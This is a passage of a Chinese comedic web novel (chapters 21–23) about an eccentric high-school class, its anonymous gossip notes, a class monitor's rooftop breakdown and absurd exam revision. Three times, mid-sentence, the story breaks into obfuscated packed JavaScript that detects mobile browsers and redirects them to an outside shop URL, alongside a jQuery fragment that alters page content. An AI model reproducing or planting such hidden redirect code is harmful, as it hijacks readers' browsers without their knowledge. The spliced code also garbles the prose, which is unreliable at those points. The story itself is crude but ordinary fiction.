秃鹫老师试图用‘质量互变规律’解释痘痘生长周期。 颠婆反驳:‘挤了就完事了,扯什么哲学。’ 憨憨体育生(代号‘北斗七星’)提出:‘痘痘是身体的情报员,告诉我们该睡觉了。’ 课堂最终演变为痘痘星座学研讨会。 结论:哲学可以解释一切,包括你为什么长痘。」 这篇火了。 连外校的都来转载。 课间,全校都在讨论“那个痘痘哲学小组到底是谁”。 梦萱气得在走廊咆哮:“别让我抓到!抓到了把他痘痘全挤爆!” 大雄摸着脸:“我的痘又没惹你……” “闭嘴!你也有嫌疑!” “我?” “你会写字吗?” “会……” “那就有嫌疑!” 梦萱的怀疑名单(她自己写在卫生纸上): 1. 大雄:有动机(可能想报复我使唤他),但没脑子。 2. 鲁平:有文笔,但秃顶限制了他的创作能力。 3. 张聪明:有‘啊~’,但成不了句子。 4. 程穗:有胆子吗?没有。pass。 5. 其他班同学:有可能,但怎么知道这么细? 她漏了洐沁。 因为在梦萱眼里,洐沁是个“戴着不存在眼镜画小人的怪胎”,不具备文字攻击性。 大错特错。 --- 周三,第三篇笔记带预言了。 标题:《观察笔记(三):预告——明日颠婆将骂哭体育老师》 内容简单粗暴: 「据内部消息,明日体育课,颠婆因不满跳绳测试,将与体育老师发生激烈冲突。预测结果:体育老师崩溃离场,颠婆获得‘跳绳免试特权’。 敬请期待。」 全校轰动。 体育老师也看到了,在办公室拍桌子:“我倒要看看哪个学生这么狂!” 梦萱看到帖子,冷笑:“我明天就乖乖跳绳,打这帖子的脸!” 结果第二天体育课,真出事了。 不是跳绳,是仰卧起坐。 梦萱做了三个,躺地上不动了。 体育老师催她:“快点!还有27秒!” 梦萱:“我阑尾疼。” “你刚才还活蹦乱跳!” “现在疼了。” 体育老师蹲下,想拉她起来。 梦萱突然大喊:“非礼啊!老师摸我肚子!” 体育老师:卧槽有诈!!! 体育老师僵住,手悬在半空,脸由红转白转青。 围观同学憋笑。 体育老师颤抖着站起来,指着梦萱:“你……你……” “我什么我?”梦萱躺地上跷二郎腿,“你碰到我衣服了,性骚扰。” 体育老师眼泪真的在眼眶里打转。 他教书十年,没受过这种委屈。 最后他摔了秒表,走了。 走时背影萧瑟,像一片风中落叶。 梦萱获得免试特权。 帖子预言成真。 全校炸了。 「卧槽预言家!」 「这笔记作者是神吧!」 「求更多预告!」 梦萱也炸了。 她揪住大雄的领子:“是不是你写的?!” 大雄:“我不会写‘性骚扰’这个词……” “那谁会?!” 鲁平小声说:“可能真是内部人……” 张聪明:“啊~我们中出了叛徒啊~” 洐沁假装害怕,躲在我身后:“班长,好可怕……” 我:“……”你演得有点过。 --- 抓内鬼行动升级。 梦萱搞来了测谎仪——从物理实验室偷的,还是个坏的,指针乱转。 她把我们召集到废弃教室,关上门,拉上报纸糊的窗帘,气氛像审讯室。 “一个个来。”梦萱坐在裁判椅上,翘着腿,“谁写的,自己招,少受皮肉苦。” 大雄先上。 梦萱把测谎仪电极贴他手上:“是你写的吗?” 大雄:“不是。” 指针狂转——因为仪器坏了。 梦萱:“还敢撒谎!打!” 大雄:“真不是……” “打!” 她拿起教鞭(还是那根拖把棍),轻轻戳了大雄一下。 大雄:“疼。” “疼就招!” “真不是我……” 鲁平看不下去了:“仪器是坏的。” 梦萱:“你咋知道?” “指针在没问问题时也在转。” “那是它激动!” 测了一圈,每个人都“撒谎”。 因为指针就没停过。 洐沁上场时,指针突然停了——巧合。 梦萱眯起眼:“你写的?” 洐沁推了推不存在的眼镜,声音发抖:“我……我只画画……” “画画?”梦萱想起那些Q版小人,“你画过我们吗?” “画过……” “看看!” 洐沁交出画本。 梦萱翻看。 里面全是Q版: 她坐在裁判椅上骂人。 大雄顶着痘痘星星。 鲁平秃顶反光。 张聪明头发油亮。 我在角落崩溃。 画得惟妙惟肖,但……没字。 “真不是你?”梦萱问。 洐沁摇头,眼睛水汪汪的——她偷偷滴了眼药水。 梦萱信了。 “那就是外人了。”她总结,“但外人怎么知道这么细?” 她不知道,洐沁有两个本子。 一个画画,一个写笔记。 --- 周五,笔记更新了,内容更劲爆。 标题:《观察笔记(四):秃鹫与油蛆的办公室秘闻》 内容: 「今日潜入教师办公室(伪装成送作业),目睹以下场景: 秃鹫与油蛆共用一杯豆浆,吸管交叉,疑似进行液体交换仪式。 秃鹫为油蛆整理衣领,动作轻柔,时长3分28秒。 油蛆为秃鹫按摩肩膀,手法生疏,但秃鹫表情陶醉。 对话节选: 秃鹫:‘舒服吗?’ 油蛆:‘啊~还行~你手法有进步~’ 解读:中年男教师的亲密互动已超越普通同事范畴。 预测:下周他们将交换午餐便当。」 帖子发出来时,两位老师正在食堂互相喂饭。 真的在喂。 鲁平夹了块红烧肉给张聪明,张聪明“啊~”张嘴接住。 张聪明舀了勺蛋汤喂鲁平,鲁平低头喝。 全校同学默默围观,有人拍照。 照片和笔记一起,成了校园CP文化的里程碑。 两位老师吃完饭才看到帖子,脸绿了。 鲁平:“这谁写的?!怎么连按摩时长都记!” 张聪明:“啊~我们被监视了啊~” 梦萱看到帖子,却笑了。 “写得好!”她拍桌,“把这两个老东西的腻歪样全曝光!看他们还敢不敢在我面前秀恩爱!” 她暂时不抓内鬼了,因为笔记“帮了她”。 但洐沁玩脱了。 --- 周六,笔记出了终极篇。 标题:《观察笔记(终章):颠婆的真面目与她的北斗七星》 内容长达三千字,详细分析了: ·梦萱的颠婆行为背后可能的心理动机(缺爱?表演型人格?还是单纯的爽?) ·大雄的憨厚与他的“工具人觉醒”之路 ·两位老师的“中年爱情故事”的社会学意义 ·以及——预言了下周梦萱会因为抢小卖部最后一包辣条和校长吵架并且赢。 这篇笔记,文笔犀利,分析透彻,还带心理学名词。 梦萱看完,沉默了一分钟。 然后她说:“这他妈是洐沁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064655|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写的。” 大雄:“啊?” “这文风,这分析,这推眼镜的习惯性动作——”梦萱盯着手机,“只有那个画画的怪胎能干出来!” 鲁平:“可她没有眼镜……” “所以她才推不存在的眼镜!”梦萱站起来,“这是一种心理补偿行为!笔记里写了!” 全说中了。 洐沁暴露了。 因为她把自己观察自己的习惯写进去了。 “抓人!”梦萱下令。 但洐沁早就跑了。 她请假了,说“家里有事”。 其实是躲到图书馆,继续写《观察笔记外传:我是怎么暴露的》。 --- 周一,洐沁回学校时,梦萱在校门口堵她。 “笔记是你写的?”梦萱问。 洐沁推了推不存在的眼镜:“是。” “为什么?” “为了研究。” “研究什么?” “研究你们为什么这么抽象。”洐沁说,“以及,为什么我愿意花时间记录你们。” 梦萱愣住。 她没想到是这个答案。 “你图什么?”她问。 “图一乐。”洐沁说,“以及,图一篇能让我保送大学的论文。” 她掏出厚厚一叠打印稿:《论非典型高中生社群的抽象文化生产——以“抽风小组”为个案》。 标题长得能当跳绳。 梦萱翻了翻,里面全是她们的事:吵架、和好、吃火锅、学数学、挤痘痘…… 还配了Q版插图。 “你……”梦萱不知道该生气还是该笑,“你他妈真是个天才。” “谢谢。”洐沁说,“但你能别告诉校长吗?我还想毕业。” “行。”梦萱说,“但有个条件。” “什么?” “把我写成主角,并且是美貌与智慧并存的那种。” “可你是颠婆……” “颠婆也可以是美貌颠婆!” 洐沁:颠婆果然还是死颠婆。 “好。” 交易达成。 洐沁继续写,梦萱提供素材,甚至主动爆料: “我小学时把同桌的辫子剪了,因为他笑我发际线高。” “我初中时给班主任起外号叫‘地中海带鱼’,因为他又秃又长。” “我高一……” 大雄在旁边听着,突然说:“你以前……挺孤独的吧。” 梦萱停住。 然后她踹了大雄一脚:“关你屁事!” 但没否认。 --- 笔记继续更新,但变成了官方授权版。 梦萱亲自监工,要求每篇都要突出她的“女王风范”。 洐沁写:「颠婆今日命令北斗七星给她买水,语气霸道,但眼底有笑意。」 梦萱:“把‘眼底有笑意’去掉!要冷酷!” 洐沁:“可你确实笑了。” “我没笑!” 大雄:“你笑了,嘴角上扬了3度。” 梦萱:“……你们合伙气我?!” 笔记成了全校追更的“日更抽象剧”。 甚至有其他班的学生跑来废弃教室门口偷看,想见证“剧情发展”。 校长也看了。 他把洐沁叫到办公室。 “笔记是你写的?”校长问。 洐沁点头。 “写得……挺有意思。”校长说,“但别影响学习。” “不会。”洐沁说,“这是我的学习。” 校长看着她,突然笑了:“你以后想学什么专业?” “社会学,或者人类学。”洐沁说,“专门研究奇葩。” “那祝你成功。” 校长没处罚她。 可能因为他也在追更。 谁不喜欢看乐子呢? --- 周五,洐沁更新了最后一篇笔记: 《致所有追更者:故事还在继续,但观察者要退场了》 内容: 「观察笔记至此告一段落,因为观察者已从旁观者变成了参与者。 我再也无法客观记录,因为我和他们一起吵过架、吃过火锅、研究过痘痘哲学。 但我会继续画Q版,继续写论文,继续和这群抽象的人,过完抽象的高中。 谢谢观看。 PS:下周预告是真的,梦萱真的会和校长抢辣条,而且会赢。因为校长不爱吃辣。」 发出去后,洐沁合上笔记本,推了推不存在的眼镜。 “结束了?”我问。 “嗯。”她说,“但故事没结束。” “什么意思?” “意思是——”她粘过来,“班长,帮我整理数据,论文要交了。” “……你又来!” 她笑了。 我也笑了。 看着窗外,操场上一—梦萱在追打大雄,因为他把她最后一颗痘痘挤爆了。 鲁平和张聪明在散步,手又牵上了。 校长在小卖部买水,真的没买辣条。 一切如笔记所写。 一切又不止于笔记。 因为生活还在继续。 荒诞的、抽象的、好笑的、温暖的生活。 而洐沁的笔,和我的崩溃,也会继续。 直到毕业。 直到更远的未来。 22. 第 22 章 我的崩溃,是在一个风和日丽的周二下午爆发的。 导火索是一件小事:数学作业本被张聪明用红笔画了个巨大的“啊~”,原因是“解题步骤缺乏美感”。 压垮骆驼的最后一根稻草是:鲁平在我的政治笔记上批注“此处应加入痘痘辩证法案例”。 而当我去找洐沁诉苦时,她正把我的崩溃表情画成Q版,标题是《班长崩溃的十七种微表情分析》。 那一刻,我脑中的某根弦,“啪”一声,断了。 不是轻轻断,是爆炸式断裂,像过年放的那种五百响鞭炮,噼里啪啦炸出一片空白。 我放下书包,走出教室,爬上楼梯,来到天台。 不是想跳楼——我没那么傻币,而且我们学校天台有防盗网,跳不下去。 我只是想站得高一点,喊得响一点。 我爬上防盗网旁边的水泥台——不高,就半米,但足够俯瞰全校。 然后,我深吸一口气,对着天空大喊: “我——受——够——了——!” 声音很大,惊飞了一群鸽子(其实是麻雀,但我想显得有诗意一点)。 “我要转学!我要去正常学校!我要当正常人!” 我又喊: “我不想再记录谁和谁喝一杯豆浆了!不想再计算肥牛分配方案了!不想再研究痘痘哲学了!不想再听‘啊~’了!” 风吹乱我的头发,像电视剧里悲情女主角——当然,如果忽略我穿的是校服,并且鼻涕快流到嘴里的话。 楼下,已经有同学在围观了。 “快看!班长要跳楼!” “不是吧?因为作业太多?” “听说她数学作业被张老师画了个‘啊~’……” “那确实该跳。” 消息像野火一样蔓延。 --- 五分钟后,第一批救援队赶到。 是梦萱和大雄。 梦萱冲上天台,看到我站在水泥台上,愣了一下,然后大骂: “程穗!你他妈给我下来!要死也别死在这儿!晦气!” 大雄跟在她后面,手里拿着……一包纸巾? “班长,擦擦鼻涕。”他憨憨地递过来。 我没接,继续喊:“我不!我要崩溃!我有权崩溃!” 梦萱走过来,叉腰:“崩溃个屁!你才经历多少?我天天被人在校园墙写诗都没崩溃!” “那不一样!” “怎么不一样?都是精神折磨!” 大雄补充:“而且班长,你站那儿腿会酸。” 我:“……”我日!!! 第二批救援队是鲁平和张聪明。 他们气喘吁吁爬上来——张聪明爬到一半歇了三次,鲁平拉着他。 “程穗同学!冷静!”鲁平喊,“人生没有过不去的坎!” 张聪明:“啊~作业写不完可以抄我的啊~” 我转头看他们:“我不是因为作业!我是因为你们!因为整个班!因为整个学校都他妈不正常!” 鲁平推了推眼镜(他真的戴眼镜):“不正常是相对的。在我们的坐标系里,我们就是正常。” “那我想换坐标系!” “坐标系不能随便换啊~”张聪明说,“得经过教务处批准啊~” 我气得差点真的跳下去,这种智障东西为什么会存在——虽然跳不下去。 --- 第三批,也是最后一批:洐沁。 她上来时,手里拿着画本和相机。 先拍照:“班长崩溃现场,珍贵资料。” 然后画Q版:“标题暂定《秩序维护者的终极反抗》。” 接着,她推了推不存在的眼镜,开始分析: “据我观察,班长崩溃原因有:1.长期担任正常人与抽象世界的桥梁,桥梁超载;2.被迫参与过多荒诞事件,认知负荷过大;3.数学作业上的‘啊~’成为最后一根稻草。” 她看向我:“班长,我分析得对吗?” 我看着她,眼泪真的流下来了。 不是感动,是绝望。 “连你都这样……”我哽咽,“亏我还把你当朋友!你真特么傻逼!!你也不懂我!!” 梦萱:“我懂!我不也天天被气!” “你那叫享受!” “那你也享受啊!” 张聪明突然说:“啊~要不让班长当副班主任啊~体验一下我们的痛苦啊~” 鲁平:“好主意!这样她就知道我们多难了!” 我:“……”你们是来劝我的还是来气死我的? --- 这时,楼下已经围了上百人。 有人举手机直播:“震惊!高二五班班长天台崩溃,疑似因作业压力过大!” 有人喊:“班长!加油!跳下来我们接住你!”——虽然只是二楼高度。 校长也来了,拿着喇叭喊:“程穗同学!下来!什么事都好商量!” 我对着下面喊:“我要转学!” 校长:“可以谈!下来谈!” “我要这个班恢复正常!” 校长沉默了三秒,说:“这个……有点难。” 这下好了,连校长都放弃了。 我彻底绝望。 这时,梦萱使出了绝招。 她走到我旁边,也爬上了水泥台——但她平衡不好,晃了一下,大雄赶紧扶住她。 “你干嘛?”我问。 “陪你啊。”梦萱说,“你不是崩溃吗?一起啊。” 她也对着天空喊: “我也受够了!张大雄这个憨憨总是不听话!这两个老东西总在我面前秀恩爱!这个学校食堂的菜像猪食!我的发际线越来越高!” 她喊得比我还大声,还用力。 喊完,她转头看我:“爽没?” 我愣住。 “不爽再喊。”她说,“反正下面人都在看,丢脸一起丢。” 大雄也爬了上来——水泥台差点塌了,这死玩意是真的重。 “我也喊。”他说,“我受够了痘痘总长在鼻子上!挤起来不方便!” 他也喊:“痘痘!你长在脸颊上不行吗!” 楼下观众:“???”一群有病的吧。 鲁平和张聪明对视一眼,也爬上来了——水泥台发出悲鸣。 水泥台:我的沉默震耳欲聋!!! 鲁平喊:“我受够了生发液都没用!” 张聪明喊:“啊~我受够了你们说我油~” 最后,洐沁也爬上来了——她最轻,水泥台松了口气。 她没喊,而是举起相机:“集体崩溃行为,罕见,拍照留念。” 于是,天台上出现了奇观: 六个人,挤在半个水泥台上,对着天空大喊各自的不满。 像一群神经病在举行邪教仪式。 楼下,校长放下喇叭,对旁边的主任说:“拍照,发教育局,就说我们在开展‘压力释放主题实践活动’。” 主任:“……这能行?” “不行也得行。” --- 喊了十分钟,大家都累了。 梦萱先坐下,拍拍旁边:“班长,坐。” 我坐下。 其他人也坐下。 六个人,排排坐,腿悬空,像幼儿园小朋友等放学。 风吹过去,有点冷。 大雄脱下外套,递给梦萱,梦萱扔给我:“穿上,别感冒了,传染给我。” 我裹上外套——太大了,像披风。 沉默了一会儿,梦萱说:“其实……我知道你为什么崩溃。” “你知道?” “嗯。”她看着远处,“因为我有时候也想崩溃。但我不能,我一崩溃,那些人就得意了。” “哪些人?” “那些觉得我有病的人。”梦萱说,“所以我得比他们更疯,让他们怕我,这样他们就顾不上说我病了。” 我转头看她。 她没化妆,额头上的痘痘很明显,发际线确实高,但眼睛很亮。 “你没必要这样的。”我说。 “有必要。”她笑,“这就是我的活法。” 大雄小声说:“我觉得你这样挺好。” “好个屁。”梦萱踹他,“闭嘴。” 鲁平开口:“程穗同学,其实……我们很感谢你。” 我:“啊?” “你是这个班里,唯一一个还能保持正常的人。”鲁平说,“你像锚,让我们这群漂着的船,不至于漂到外太空去。” 张聪明点头:“啊~虽然你总说我们不正常啊~但你从来没真的抛弃我们啊~” 洐沁推了推不存在的眼镜,记录:「情感流露时刻,锚与船的比喻,诗意。」 我鼻子又酸了。 这次是感动的。 “但我真的好累。”我说,“每天要处理你们的破事,要记录谁和谁牵手了,要计算火锅钱,要……” “那就别处理了。”梦萱打断,“从今天起,你不是班长了。” 我愣住。 “我宣布,”梦萱站起来,“班长职务,由张大雄接任!” 大雄:“啊?我不会……” “不会就学!”梦萱瞪他,“从今天起,你负责记录谁和谁喝豆浆,负责计算火锅钱,负责崩溃。” 大雄:“可我是一班的!” “转班!!!” 大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064656|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雄憨憨地点头:“哦。” 鲁平举手:“我提议,程穗同学升任‘小组荣誉顾问’,只提供建议,不负责具体事务。” 张聪明:“啊~我附议啊~” 洐沁:“我记录:班长职务交接仪式,在天台举行,具有象征意义。” 我看着他们,突然笑了。 笑出声,笑到流泪。 “你们……真是没救了。”我说。 “我们知道。”梦萱也笑,“但你有救了。” 她跳下水泥台,伸手:“下来吧,荣誉顾问,地上有蚂蚁,咬屁股。” 我拉着她的手下来。 其他人也下来了。 水泥台松了口气——它今天承受了太多它不该承受的东西。 --- 下楼时,在楼梯口遇到校长。 校长看着我:“程穗同学,还转学吗?” 我摇头:“不转了。” “想通了?” “嗯。”我说,“在这个学校,当正常人才是最不正常的。我想……继续不正常下去。” 校长拍拍我肩膀:“好孩子。对了,下周市里有个‘心理健康教育先进个人’评选,我打算报你,材料就写……成功调解同学矛盾,化解潜在危机。” 我:“……”校长您真会来事。 梦萱凑过来:“校长,那我呢?” 校长:“你……继续努力。” 梦萱:“哦。” 回到教室,全班同学齐刷刷看着我们。 王鑫小声问:“班长,你真跳了?” 我:“没跳,就喊了喊。” “那还转学吗?” “不转了。” 全班鼓掌。 不是庆祝,是松了一口气——他们也不用换班长了。 --- 放学后,洐沁粘着我:“班长,今天的数据太宝贵了,我需要你帮我写分析报告。” 我:“我不是班长……” “荣誉顾问也要工作!” “……你特么滚啊。” “哎呀程穗姐姐~~” 我呕!!! 我们坐在操场边,她摊开画本,给我看她今天画的崩溃系列: 第一张:我站在水泥台上喊,头顶冒出一团乱麻,脚下踩着“理智临界点”。 第二张:全员爬上水泥台,像一串糖葫芦,背景是乌鸦(其实是麻雀)飞过。 第三张:大家排排坐,腿晃悠,表情各异:我迷茫,梦萱嚣张,大雄憨,鲁平哲学,张聪明困,洐沁记录。 “画得真好。”我说。 “送你。”她撕下来,“纪念你第一次公开崩溃。” “这种纪念不要也罢……” 但她塞给我了。 我看着画,突然问:“洐沁,你为什么不崩溃?” 她推了推不存在的眼镜:“因为我在观察你们崩溃啊。” “观察别人崩溃,不累吗?” “累。”她说,“但有趣。” 她顿了顿:“而且,有你们在,我永远不会无聊。无聊才会崩溃,有趣的人只会笑到肚子疼。” 她说得对。 虽然我经常笑到肚子疼——是被气的。 但总比无聊好。 --- 晚上,群里炸了。 梦萱发了天台合照——大雄拍的,角度清奇,全是鼻孔和双下巴。 配文:「今日团建活动:天台喊话。效果显著,班长已痊愈。」 鲁平发了篇小论文:《论集体宣泄对群体凝聚力的促进作用——以天台喊话为例》。 张聪明发了条语音:“啊~今天风真大啊~我头发都吹乱了~” 大雄发了张自拍,背景是天台,配文:「新班长上任,请多指教。」——虽然没人当真。 洐沁发了数据图表:「崩溃事件时间线及干预效果评估」。 我发了两个字:「活了。」 然后,我收到一条私信。 是梦萱:「喂,荣誉顾问,明天帮我写检讨,我跟体育老师吵架了。」 我:「你不是不让我管了吗?」 梦萱:「顾问就是干这个的!快点!」 我:「……你妈类个蛋的写什么?」 梦萱:「就写‘我错了,但下次还敢’。」 我笑了。 回她:「行。」 关掉手机,我看着天花板。 今天,我崩溃了。 明天,我可能还会崩溃。 但至少,崩溃的时候,有人陪着我一起站上水泥台,一起喊,一起被风吹成傻逼。 这就够了。 在这个抽象的高中,这就够我撑到毕业了。 23. 第 23 章 期末考试像一坨巨大的、冒着热气的神使的凝视,悬在高二五班头顶。 正常班级的备考:刷题、背提纲、熬夜、喝功能饮料。 我们班的备考:把知识点变成行为艺术。 周一早晨,梦萱站在讲台上(裁判椅搬回了体育器材室,她只能站着),宣布她的“天才学习计划”: “从现在起,所有知识必须用非正常方式记忆!因为——”她拍黑板,“正常方式根本进不去我们这种不正常的脑子!” 底下同学鼓掌——不是赞同,是怕被打。 --- 第一项:骂人记忆法(梦萱原创) 原理:把难记的知识点编成骂人话,利用情绪强化记忆。 示例: 历史事件“鸦片战争” → “英国佬像他妈鼻涕虫一样黏过来卖鸦片!吸死你们这些蠢货!” 化学反应式“2H?+O?=2H?O” → “俩氢气分子像个憨批一样追着氧气跑,最后变成水还觉得自己赢了!” 生物概念“细胞有丝分裂” → “细胞在那儿瞎几把分裂,跟某些人分手又复合一样烦人!” 梦萱亲自示范,骂得唾沫横飞,粉笔灰在她周围形成小型沙尘暴。 大雄认真做笔记,把骂人话工整抄下来,旁边画上火柴人打架图。 鲁平试图纠正:“其实鸦片战争还有更复杂的背景……” 梦萱:“闭嘴!我的版本好记!” 张聪明:“啊~那数学公式怎么骂啊~” 梦萱瞪他:“你自己想!比如‘勾股定理’——直角边像俩舔狗围着斜边转,转了半天还是个三角形,废物!” 勾股定理表示无辜。 --- 第二项:铅球排列组合背单词(大雄发明) 大雄从体育器材室借了六个铅球,每个贴上字母标签。 背单词“abandon”(抛弃): 他先把A球扔到角落:“A被抛弃了!” 再把B球扔到另一边:“B也被抛弃了!” 然后对着剩下的球喊:“你们都叫andon!但今天我只背到abandon!” 物理老师路过,看到铅球满地滚,心脏骤停三秒:“这……这是什么新型教学法?” 大雄憨笑:“记忆法。” “会砸死人的!” “不会,我控制力度。” 接着背“amodate”(容纳): 他把所有铅球抱在怀里,像抱西瓜,边走边念:“acmod-date,我要容纳你们……好重……” 最后摔倒,铅球滚了一地,砸中了路过的校长的皮鞋尖。 校长看着鞋尖的凹痕,沉默,然后说:“注意安全。” 走了。 可能去哭。 --- 第三项:哲学rap(鲁平独创) 鲁平发现,如果把政治知识点加上节奏,学生记得更快。 于是他创作了《唯物辩证法rap》: “Yo!世界是物质的!物质是运动的! 运动是有规律的!规律是可以认识的! 认识是螺旋上升的!像我的发际线!越来越高越来越亮! Check it out!” 他边说边打拍子,用保温杯敲桌子,秃顶随节奏反光,像迪厅球灯。 梦萱点评:“flow还行,但押韵太烂。” 鲁平:“那你来?” 梦萱张口就来: “矛盾是对立统一的!就像我和大雄! 我骂他听!他憨我精!但我们一起火锅吃不停! 这就是辩证法!牛逼吧!” 全场鼓掌。 张聪明也加入:“啊~我也有数学rap啊~” 他开始唱: “三角函数啊~sin cos啊~ 图像像波浪啊~我头发也油亮啊~ 公式记不住啊~就多念几遍啊~啊~啊~” 最后的“啊”拖得很长,像临终遗言。 洐沁推了推不存在的眼镜,疯狂记录: 「知识音乐化尝试。鲁平:哲学rap,节奏感弱但概念准确。梦萱:颠婆rap,押韵暴力但易记。张聪明:啊式rap,除了‘啊’啥也没记住。」 --- 第四项:“啊~”节奏记忆游戏(张聪明最后的倔强) 张聪明发现,只要他把知识点用“啊~”分隔,学生就能记住——因为想打他,所以印象深刻。 示例: “二次函数图像是抛物线啊~开口方向看a的正负啊~ 顶点坐标要背熟啊~不然考试会哭啊~ 对称轴是x等于负二a分之b啊~记不住你就是个弟弟啊~” 梦萱在底下接:“你才是弟弟!老弟弟!” 但神奇的是,这么一遍下来,大家真记住了抛物线公式——主要是想证明自己不是弟弟。 --- 第五项:痘痘位置记忆法(大雄二次发明) 大雄发现自己脸上的痘痘位置,刚好可以对应历史事件时间轴。 左脸颊第一颗:鸦片战争(1840) 鼻尖那颗:辛亥革命(1911) 右脸颊三颗连珠:抗日战争(1931-1945)——“三颗代表三个阶段!” 他每天洗脸时对着镜子复习: “1840……这颗有点发炎,像英国侵略。” “1911……这颗快熟了,像革命要爆发。” “1931……这三颗连起来,像持久战。” 梦萱帮他挤痘时,顺便提问:“1895年什么事?” 大雄摸下巴:“这颗还没长……哦是马关条约!” “答对!奖励你多挤一颗!” 学习变得血肉模糊(字面意思)。 --- 周三,备考进入白热化。 废弃教室变成了抽象学习博览会。 分区一:骂人记忆角 梦萱在教几个女生用脏话背古文。 “《岳阳楼记》——庆历四年春,滕子京这个傻逼被贬到巴陵!” 女生们边笑边背,效果奇佳。 分区二:铅球单词区 大雄在扔铅球背英语作文模板。 “First and foremost……哎哟砸到脚了!” 分区三:哲学rap舞台 鲁平在表演《中国特色社会主义rap》,张聪明在旁边打拍子——用计算器,按键声像鬼畜。 分区四:观察记录站 洐沁在画《备考百态图》,每个人头上冒出知识点气泡,气泡里是扭曲的记忆画面。 而我,荣誉顾问程穗,在分区五:崩溃预防中心。 其实就是个角落,我坐在那里,看着这群人,随时准备拨打120(或精神病院电话)。 --- 周五,校长巡视。 他推开废弃教室的门,看到了这样的画面: 梦萱在黑板前,用红色粉笔写满脏话版知识点,边写边骂:“秦始皇这个控制狂!统一文字度量衡!跟班主任收手机一样讨厌!” 大雄在角落,对着镜子挤痘,每挤一颗念一个年份:“1919……五四运动……噗!” 鲁平和张聪明在合唱rap:“改革开放春风吹!吹得我的头发……啊没得吹!” 洐沁在桌子底下,只露出屁股,她在测量“学习噪音分贝与记忆效率的关系”。 校长站在门口,沉默了足足一分钟。 然后他缓缓关上门,对身后的主任说:“他们在……搞艺术创作?” 主任:“好像是……复习。” 校长:“你确定?” 主任:“不确定。” 校长:“那别管了,就当没看见。” 主任:“可他们在骂脏话……” 校长:“总比打架强。” 校长走了,背影沧桑。 --- 周末,梦萱组织了“考前最后一次火锅动员会”。 地点还是喷火火锅店,但这次主题是:用火锅食材复习。 梦萱夹起一片肥牛:“这片肉,代表封建社会——层层叠叠,肥腻,但好吃。” 大雄夹起虾滑:“这个……代表资产阶级革命——滑不溜秋,抓不住。” 鲁平夹了块豆腐:“这代表知识分子——软,但不可或缺。” 张聪明舀了勺汤:“啊~这汤代表历史洪流~我们都是里面的料啊~” 洐沁推了推不存在的眼镜,记录:「食材历史学,跨学科复习法的巅峰。」 吃到一半,梦萱突然说:“我们来模拟考试!” 她出题:“如果辣锅代表战争,清汤代表和平,那现在我们把肉下到两边,代表什么?” 大雄:“代表……肉很无奈?” 鲁平:“代表国家在战与和之间的选择。” 张聪明:“啊~代表我想吃辣锅但怕长痘啊~” 梦萱:“错!代表复习要全面!不能偏科!” 她把肉均匀下到两边。 然后发现辣锅太辣,没人敢吃,清汤锅又太淡。 “这代表……”她总结,“理想很丰满,现实很骨感。吃吧。” --- 考试前一天,最荒诞的一幕发生了。 不知谁传的谣言,说“用抽象方式复习能提高20分”。 于是整个高二年级,开始模仿我们班。 三班在走廊用跳绳背古诗:“床前明月光——跳!疑是地上霜——再跳!” 四班在教室用椅子摆化学元素周期表:“这把椅子是氢!最轻!那把是铀!危险!” 六班在操场用跑步背单词,跑一圈背一个,跑不动了单词也忘了。 校 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064657|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长再次巡视,看到全校都在发疯,他回到办公室,吃了两片降压药。 “也许……”他对主任说,“这就是新时代的教育创新吧。” 主任:“您真的这么认为?” 校长:“不,但我只能这么认为。” --- 考试当天。 早上七点,教室。 梦萱在做最后的“骂人记忆冲刺”:“戊戌变法六君子!谭嗣同你个憨批为什么不跑!留着被杀很帅吗!” 大雄在对着镜子摸痘痘:“1937……这颗新长的代表卢沟桥事变……有点疼。” 鲁平在哼rap:“主要矛盾次要矛盾啊~矛盾的主要方面啊~” 张聪明在念经:“啊~导数导数啊~积分积分啊~” 洐沁在给大家发“幸运Q版画”——每个人画成考试通过的样子。 给我那张是:我头顶“合格”二字,坐在及格线上哭。 “谢谢。”我说,“很形象。” 八点,进考场。 走廊里,其他班同学表情严肃,我们班同学……在互相骂知识点。 “你他妈记得洋务运动口号吗!” “自强求富!你他妈才不记得!” 监考老师惊恐地看着我们。 考试开始。 第一科:语文。 作文题目:《谈“和而不同”》。 正常写法:议论文,引用典故,讲包容。 我们班一半人写的:用火锅比喻。 梦萱的开头:“和而不同,就像鸳鸯锅。清汤和辣锅虽然不同,但在一个锅里,就能煮出丰富的人生……” 大雄的开头:“和而不同,就像我脸上的痘痘。有的红肿有的白,位置不同,但都在我脸上和谐共存……” 洐沁写成了观察报告:《论考场中的“和而不同”表现》。 我……我正常写了。 